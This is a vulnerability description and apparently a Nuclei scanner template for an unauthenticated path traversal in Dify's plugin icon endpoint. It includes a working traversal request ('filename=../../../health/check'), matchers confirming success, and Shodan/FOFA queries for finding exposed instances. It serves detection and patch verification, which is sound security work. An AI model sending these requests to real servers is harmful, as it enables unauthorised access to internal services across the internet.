Dify version 1.14.1 and prior are affected by an unauthenticated path traversal in the Plugin Daemon icon proxy endpoint. The /console/api/workspaces/current/plugin/icon endpoint requires no authentication and passes the filename query parameter unsanitized into the internal Plugin Daemon REST API URL. Using ../ dot-sequence traversal an attacker escapes the authorized plugin/{tenant_id}/asset/ namespace and reaches arbitrary internal Plugin Daemon endpoints. The /health/check endpoint is always available and returns Plugin Daemon version, build time and pool status confirming exploitation.
PoC
id: CVE-2026-41948
info:
name: Dify <=1.14.1 - Unauthenticated Plugin Daemon Path Traversal
author: DhiyaneshDk
severity: critical
description: |
Dify version 1.14.1 and prior are affected by an unauthenticated path traversal in the Plugin Daemon icon proxy endpoint. The /console/api/workspaces/current/plugin/icon endpoint requires no authentication and passes the filename query parameter unsanitized into the internal Plugin Daemon REST API URL. Using ../ dot-sequence traversal an attacker escapes the authorized plugin/{tenant_id}/asset/ namespace and reaches arbitrary internal Plugin Daemon endpoints. The /health/check endpoint is always available and returns Plugin Daemon version, build time and pool status confirming exploitation.
impact: |
Unauthenticated attackers can traverse the Plugin Daemon's internal REST API, leaking system metadata (version hash, platform, pool capacity). Any internal Plugin Daemon endpoint is reachable, meaning any new endpoint becomes instantly exploitable from the public internet without credentials.
remediation: |
Upgrade to Dify 1.15.0 or later. The fix in api/core/plugin/impl/base.py (BasePluginClient._prepare_request) URL-decodes the path and raises ValueError on any segment containing .. or %2e%2e, preventing path traversal sequences from being forwarded to the Plugin Daemon.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-41948
- https://www.zafran.io/resources/difytap-zafran-discovers-how-attackers-can-silently-wiretap-ai-data-across-tenants-on-a-platform-powering-1m-apps
- https://huntr.com/bounties/35b7ad59-e35d-443f-bf77-387bfb932ec0
- https://github.com/langgenius/dify/pull/35796
- https://osv.dev/vulnerability/CVE-2026-41948
- https://www.vulncheck.com/advisories/dify-path-traversal-via-plugin-daemon-internal-api-access
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
cvss-score: 9.4
cve-id: CVE-2026-41948
epss-score: 0.14453
epss-percentile: 0.96444
cwe-id: CWE-23
metadata:
verified: true
max-request: 2
vendor: langgenius
product: dify
shodan-query: title:"Dify"
fofa-query: icon_hash="97378986"
tags: cve,cve2026,dify,langgenius,path-traversal,unauth,ssrf,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /signin HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- 'status_code == 200'
- 'contains(body, "<title>Dify") || contains(body, "langgenius") || contains(tolower(all_headers), "x-dify")'
condition: and
- raw:
- |
GET /console/api/workspaces/current/plugin/icon?tenant_id=00000000-0000-0000-0000-000000000000&filename=../../../health/check HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body, "pool_status","\"status\"")'
- 'status_code == 200'
condition: and
# digest: 4a0a0047304502201eb8e5239000f81d1f1e7dd8cde1ed7fbab817c138b81c2b63b1a06bacf8fe56022100edd2058899e0b28454ee19634f9675a4ad1ffde2c9b5ce326a8bc081a4a61610:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.